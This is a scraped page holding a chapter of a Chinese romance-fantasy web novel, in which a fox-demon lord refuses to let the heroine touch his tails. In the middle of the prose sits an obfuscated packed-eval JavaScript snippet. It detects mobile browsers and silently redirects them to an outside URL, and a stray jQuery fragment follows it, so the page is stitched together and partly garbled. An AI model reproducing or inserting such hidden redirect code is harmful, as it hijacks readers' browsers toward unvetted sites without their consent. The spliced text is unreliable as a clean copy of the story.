116. 迷雾(八)
作品:《穿书后反被反派攻略》 听着悠悠这些细致入微的描述,文可烟的脑海中莫名地联想到了羿逸安半夜湿着身子找她的那晚……
有天晚上过后,白酒似乎和她说过,她身上有五尾狐妖血的味道。
思及此处,文可烟的心中不禁涌起一股复杂的情绪,隐隐夹杂着不安。
此时,悠悠歪着头,不知又说了些什么,等文可烟从自己的思绪中回过神来,只隐隐约约听到悠悠的轻声询问飘来:“你可知他为何始终不躲?”
文可烟钝了一秒,随即茫然地摇了摇头。
悠悠看着文可烟那副懵懂的模样,露出一抹意味深长的笑,模棱两可地说了句还算颇含玄机、比较高深的话:“心中之结,欲复还之,方可解之。”
文可烟刚想张嘴继续说些什么,悠悠声音再度传来:“去看看他吧,他该醒了。”
*
那日之后,又过了几日。
文可烟的梦越来越频繁了。
梦中出现的人和事不只有那对夫妻,渐渐地,连她自己的身影也开始显现。
有时,会梦到自己被那位夫人温柔地搂在怀里,夫人的手轻轻抚摸着她的发顶,眼神中满是怜惜;有时,又会梦到那位殿下耐心地立在她身侧,悉心教导她术法;还有时,他们会三人一起出行,踏遍山川河流,看尽四季流转,花草树木,他们走过许多地方……
这一晚,文可烟又一次从梦中猛然惊醒,心脏在胸腔里疯狂地撞击着。
这是,该是原主与她父母亲的记忆……
好奇怪,为何她会觉得这些记忆如此熟悉呢?就像这些事情曾经真真切切地发生在她自己身上一样。
难道穿成原主,她的血脉情感也会随之继承吗?
想到这儿,文可烟下意识地偏头扫了一眼床榻的另一半。另一侧,除了些许褶皱,再无其他,就好像那里从未有人歇息过。
顺着从那边漏进的微光,望向小屋的某一处。
在那里,羿逸安正静静地坐着,手执一本话本子。
文可烟惊醒的动静似是惊动了专注看话本的羿逸安。他抬眸望来,带着复杂情绪的目光,恰好撞进她犹带迷蒙的眼底。
两相对视后,他合上话本,起身朝她走来。
随着羿逸安的靠近,一阵风裹挟着浓烈的香气扑鼻而来,文可烟不禁微微皱了皱鼻子。
文可烟静静地望着羿逸安渐近的身影,心中五味杂陈,却不吭一声。
从那晚结束与悠悠前辈的谈话回到小屋起,文可烟进屋便嗅到这股不寻常的浓郁香气。
她其实心里跟明镜儿似的,只是一直在装作不知道。
装不知道羿逸安经常在半夜起身,绕着小屋一圈又一圈地徘徊回味,看了又看,常常对着某个旧屋发呆至天明;装不知道羿逸安在她与白酒疗伤过后,总是暗自地加重自己的伤势,一次比一次深,一次比一次狠;装不知道,羿逸安心底清楚……眼下做的这一切,还远远不够……
可之后这几天,日渐可怕地加重,气味变本加厉地浓郁。
文可烟撇开视线,吸了一下鼻子,而后娓娓道:“羿逸安,我睡不着,想摸你的尾巴。”
“……”
话一出口,小屋陷入一片寂静。
长久的沉默,让文可烟的心也渐渐沉了下去。她原本以为,羿逸安会像往常一样,露出那些银白尾巴,任由她抚摸。可没想到,没等到意料之中的银白尾巴,只等来羿逸安语气淡淡的一句拒绝:“不行。”
文可烟怔然片刻,觉得羿逸安心情不好,便也没再逼他。
不料他竟也跟着移开视线,轻声补了一句:“以后都不行了。”
此前,羿逸安坐在桌前,手中随意翻着一本话本,眼神却有些游离。或许睹物思人,案上摆放的娘亲留下的旧物,在不经意间触动了他,他想起了许多关于娘亲的事;又或许是他今日看到的话本子里,其中有一个跌宕起伏的故事,他从中了解到“瘾”这个词……这些都压压在他的心头,让他更难受了。
他的思绪不由得飘回到了小时候,那时,他总是像个小尾巴似的,紧紧缠着娘亲。
他仰着那张稚气未脱的小脸,仰着稚气未脱的小脸,眼里闪着如今再也寻不回的光,奶声奶气地问:“娘亲,人间到底是什么样子?”
“娘亲,人间到底有什么?很多妖,很多魔都想要去,我也可以去吗?”
“娘亲,你之后带我去看看可好?”
……
如今,他机缘巧合地来了,可曾经答应要陪着他来的娘亲与爹爹却再也不见了。
书页沙沙翻动,“瘾君子”三字猝然映入眼帘。
那一刹那,他指尖顿住,眼神凝滞。
忽然间,那些难以启齿的渴望都有了答案。
那些日夜,面对文可烟所产生的难以名状的欲望、渴望以及那些不知名的情绪,原来皆称为“瘾”。
原来他之前渴望被文可烟触碰尾巴,那些说不清道不明的贪恋,皆是“瘾”在作祟,由“瘾”而生。
他的心中涌起一阵复杂的情绪,既有豁然开朗的清明,又生出对这般失控欲望的恐惧。
是啊,“瘾”,他看见过,这种“瘾”都是万恶之源,是不该被纵容和满足的。
在自幼接受的训诫里,与瘾沾边的都是坏的,是该被斩断的恶念。
大长老将他教导成完美的利器,扼杀克制所有天性偏好,只余杀戮的本能。他早已忘记瘾的滋味,直到遇见文可烟,才久违地感受到了他人生少数的欲望,重新尝到那种挠心挠肺的牵念。
况且,那日他瞧得分明,文可烟是被悠悠的尾巴,吸引而去的……
那一刻,他的心里就像被什么轻轻揪了一下,隐隐有些不是滋味。
或许他不该如此轻易地在她面前展露尾巴,更不该纵容她触碰,让她以为触碰别人尾巴是件很稀松平常的事。
在他内心深处,或许藏着一份连自己都没意识到的独占欲。
他并不希望文可烟随意去摸他人的尾巴,只是这一点,恐怕他自己都没察觉到。
……
文可烟彻底呆了,完全没想到羿逸安拒绝得如此彻底。
似看见文可烟满脸的错愕,羿逸安尝试解释:“我不会拒绝你,但唯独这一次。”
什么东西?
这是这个冷面无情,又啥都不懂的大魔头该说的话吗?</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16773518|184831||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
她简直不敢相信自己的耳朵,下意识地转头,直直地盯着羿逸安。
此刻的他,哪里还有半点传闻中魔尊的冷酷模样?分明像只被夺走心爱之物的大型犬类,眉眼间尽是隐忍的委屈。
脑子在这时转得飞快,文可烟忽地忆起什么,柳眉一竖,提高音量道:“你明明之前拒绝过我!”
羿逸安闻言,脸上闪过一丝茫然,似乎完全不记得有这么一回事。连不敢与文可烟对视这条“指令”都忘得烟消云散了,开始直直地凝视她的眼睛:“何时?”
“被你关在小亭院,让你每天都要过来看我,结果你呢,你一次又一次减少次数!”文可烟捏紧了手中的衾被,语气中有些恨恨不平。
羿逸安回想了一下,一本正经地说,“我没有拒绝。”表露出来的神情,认真得让人有些不敢不相信。
“明明就有。”文可烟嘟起嘴,有些不满道。
羿逸安再次仔细回想了一下当时的情景,然后认真地说:“那只是与你商量罢了。”他说得如此轻巧,一副真的觉得自己没有说错的老实样子。
“你管那叫商量?”文可烟气结。
“不然该叫什么?”羿逸安有些无奈,说话的同时将手中的书放在身后,另一只手替文可烟拉上锦被。抬眼时目光澄澈地迎向她,神情诚恳得让人无从责怪。
文可烟却在这时像被触到逆鳞一般,猛地推开他的手,“那就叫拒绝。”
也许这次生气,还隐藏着她对他深深的不满。不满他对自己身体不当回事;不满他故意加重伤势,折磨、伤害自己,一次又一次,每一次都比上一次重。
真不知道该说他隐忍不爱惜自己,还是该说他不珍惜她和白酒的治愈之力。
说到最后,她到底在气谁,连她自己也不尚清楚了。
文可烟愤愤地侧躺,右手搭在左腕的镯子上。
只一秒,白酒就这么闪现在锦被上,像个雪球似的滚了好几圈才稳住身子。
还没等白酒反应过来,就被文可烟掰过身子搂进怀里,九条蓬松的小点被她攥在手中轻轻揉捏。
最后她眼睛一闭,就这样手摸着白酒的尾巴入睡。
所有动作一气呵成,不带一丝停歇。
羿逸安静立在原地,目光紧紧追随着文可烟那气冲冲背影。紧抿的薄唇,只一瞬,便微微上扬,扯出一个哭笑不得却又无奈的弧度。
在视线扫过文可烟手指轻轻揉弄着白酒尾巴的那一瞬,他的手指不自觉地收拢起来。
手中那本精致的话本也在不知不觉间,被捏得起了层层折痕。
而后,羿逸安离开了。
只是,文可烟介于半梦半醒之间,鼻尖萦绕的香甜猛地浓郁起来,丝丝缕缕逃散,无声浸润着每一寸空间。
这气息比入睡前强烈不知多少倍,连空气都变得粘稠而醉人。
*
那之后,文可烟确实不向羿逸安提摸尾巴的要求了。只是,连同要求一同消失的,还有以往的寻常话语。她不再与他多言,也找到了新的朋友,和新的能给她摸尾巴的,比如欢璃,比如白酒。
这一日,欢璃又一次碰见文可烟,他本能地转身避开。

